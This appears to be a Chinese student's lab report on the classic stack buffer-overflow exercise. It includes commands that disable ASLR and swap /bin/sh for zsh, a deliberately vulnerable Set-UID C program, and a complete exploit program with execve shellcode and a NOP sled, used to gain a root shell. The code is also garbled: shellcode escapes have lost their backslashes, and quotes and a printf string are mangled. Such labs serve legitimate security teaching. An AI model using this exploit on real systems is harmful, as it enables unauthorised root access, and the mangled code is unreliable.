缓冲区溢出漏洞实验
一、实验简介
缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制，甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭，溢出会引起返回地址被重写。
二、实验准备
系统用户名shiyanlou
实验楼提供的是64位Ubuntu linux，而本次实验为了方便观察汇编语句，我们需要在32位环境下作操作，因此实验之前需要做一些准备。
1、输入命令安装一些用于编译32位C程序的东西：
sudo apt-get update
sudo apt-get install lib32z1 libc6-dev-i386
sudo apt-get install lib32readline-gplv2-dev
2、输入命令“linux32”进入32位linux环境，输入“/bin/bash”使用bash
三、实验步骤
3.1 初始设置
Ubuntu和其他一些Linux系统中，使用地址空间随机化来随机堆（heap）和栈（stack）的初始地址，这使得猜测准确的内存地址变得十分困难，而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中，我们使用以下命令关闭这一功能：
sudo sysctl -w kernel.randomize_va_space=0
此外，为了进一步防范缓冲区溢出攻击及其它利用shell程序的攻击，许多shell程序在被调用时自动放弃它们的特权。因此，即使你能欺骗一个Set-UID程序调用一个shell，也不能在这个shell中保持root权限，这个防护措施在/bin/bash中实现。
linux系统中，/bin/sh实际是指向/bin/bash或/bin/dash的一个符号链接。为了重现这一防护措施被实现之前的情形，我们使用另一个shell程序（zsh）代替/bin/bash。下面的指令描述了如何设置zsh程序：
sudo su
cd /bin
rm sh
ln -s zsh sh
exit
3.2 shellcode
一般情况下，缓冲区溢出会造成程序崩溃，在程序中，溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址，那么程序就会跳转到该地址，如果该地址存放的是一段精心设计的代码用于实现其他功能，这段代码就是shellcode。
观察以下代码：
#include <stdio.h>
int main( ) {
char *name[2];
name[0] = ‘‘/bin/sh’’;
name[1] = NULL;
execve(name[0], name, NULL);
}
本次实验的shellcode，就是刚才代码的汇编版本：
x31xc0x50x68"//sh"x68"/bin"x89xe3x50x53x89xe1x99xb0x0bxcdx80
3.3 漏洞程序
把以下代码保存为“stack.c”文件，保存到 /tmp 目录下。代码如下：
/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly
");
return 1;
}
通过代码可以知道，程序会读取一个名为“badfile”的文件，并将文件内容装入“buffer”。
编译该程序，并设置SET-UID。命令如下：
sudo su
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
chmod u+s stack
exit
GCC编译器有一种栈保护机制来阻止缓冲区溢出，所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。
而 -z execstack 用于允许执行栈。
3.4 攻击程序
我们的目的是攻击刚才的漏洞程序，并通过攻击获得root权限。
把以下代码保存为“exploit.c”文件，保存到 /tmp 目录下。代码如下：
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"x31xc0" //xorl %eax,%eax
"x50" //pushl %eax
"x68""//sh" //pushl $0x68732f2f
"x68""/bin" //pushl $0x6e69622f
"x89xe3" //movl %esp,%ebx
"x50" //pushl %eax
"x53" //pushl %ebx
"x89xe1" //movl %esp,%ecx
"x99" //cdq
"xb0x0b" //movb $0x0b,%al
"xcdx80" //int $0x80
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x??x??x??x??");
strcpy(buffer+100,shellcode);
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
注意上面的代码，x??x??x??x??处需要添上shellcode保存在内存中的地址，因为发生溢出后这个位置刚好可以覆盖返回地址。
而 strcpy(buffer+100,shellcode); 这一句又告诉我们，shellcode保存在 buffer+100 的位置。
现在我们要得到shellcode在内存中的地址，输入命令：
gdb stack
disass main
结果如图：
接下来的操作：
根据语句 strcpy(buffer+100,shellcode); 我们计算shellcode的地址为 0xffffd020(十六进制)+100(十进制)=0xffffd084(十六进制)
现在修改exploit.c文件！将 x??x??x??x?? 修改为 x84xd0xffxff
然后，编译exploit.c程序：
gcc -m32 -o exploit exploit.c
3.5 攻击结果
先运行攻击程序exploit，再运行漏洞程序stack，观察结果：
可见，通过攻击，获得了root权限！
（如果不能攻击成功，提示”段错误“，那么请重新使用gdb反汇编，计算内存地址。）
四、练习
1、按照实验步骤进行操作，攻击漏洞程序并获得root权限。
2、通过命令”sudo sysctl -w kernel.randomize_va_space=2“打开系统的地址空间随机化机制，重复用exploit程序攻击stack程序，观察能否攻击成功，能否获得root权限。
会发现没有攻击成功，没有取得root权限
3、将/bin/sh重新指向/bin/bash（或/bin/dash），观察能否攻击成功，能否获得root权限。
这个问题我不知道怎么做。
五、补充内容
试验中并没有说怎么把shellcode变成汇编码，可以通过
gcc -o shellcode -ggdb -static shellcode.c
gdb shellcode
disassemble main
来实现。
六、问题及解决
- 首先,最重要的问题——这个实验一定要在实验楼上做，千万不要在自己的虚拟机上做，因为这个试验中涉及到了Bash Shell的问题。Shell是什么呢？确切一点说，Shell就是一个命令行解释器，它的作用就是遵循一定的语法将输入的命令加以解释并传给系统。它为用户提供了一个向Linux发送请求以便运行程序的接口系统级程序，用户可以用Shell来启动、挂起、停止甚至是编写一些程序。Shell本身是一个用C语言编写的程序，它是用户使用Linux的桥梁。Shell既是一种命令语言，又是一种程序设计语言(就是shell脚本)。作为命令语言，它互动式地解释和执行用户输入的命令；作为程序设计语言，它定义了各种变量和参数，并提供了许多在高阶语言中才具有的控制结构，包括循环和分支。它虽然不是 Linux系统内核的一部分，但它调用了系统内核的大部分功能来执行程序、创建文档并以并行的方式协调各个程序的运行。在本次试验中会改变shell脚本，如果在自己的虚拟机上做会导致出现脚本问题而使虚拟机崩溃，我在做的时候就出现了这个问题，所以以后我们最好在做任何实验前先将自己的虚拟机备份一份，这样出现问题也好解决。
- 还有一个很重要的问题就是同学们一定要养成git的习惯，尤其是平时在实验楼上敲代码的同学，因为实验楼时间限制的问题，导致一旦因为一些其他因素错过了时间就会导致前面辛辛苦苦敲得代码功亏一篑。在实验楼上有为用户提供的实验环境内置的公开的git服务，可以把代码git到专属代码库。
- 还有就是在实验时最开始进入Linux32环境以后中途不要退出环境，我在一开始做的时候退出了32位环境，然后在最后攻击的时候再进入环境，然后就出现了段错误，我检查了好几遍也没有发现问题在哪，最后重新做了一遍，这次没有退出环境，然后成功了。结论就是一开始对题目的不完全理解和对细节的不注意，就会导致一步错步步错，做了很多无用功。
七、参考资料
缓冲区溢出的含义是为缓冲区提供了多于其存储容量的数据，就像往杯子里倒入了过量的水一样。通常情况下，缓冲区溢出的数据只会破坏程序数据，造成意外终止。但是如果有人精心构造溢出数据的内容，那么就有可能获得系统的控制权！如果说用户（也可能是黑客）提供了水——缓冲区溢出攻击的数据，那么系统提供了溢出的容器——缓冲区。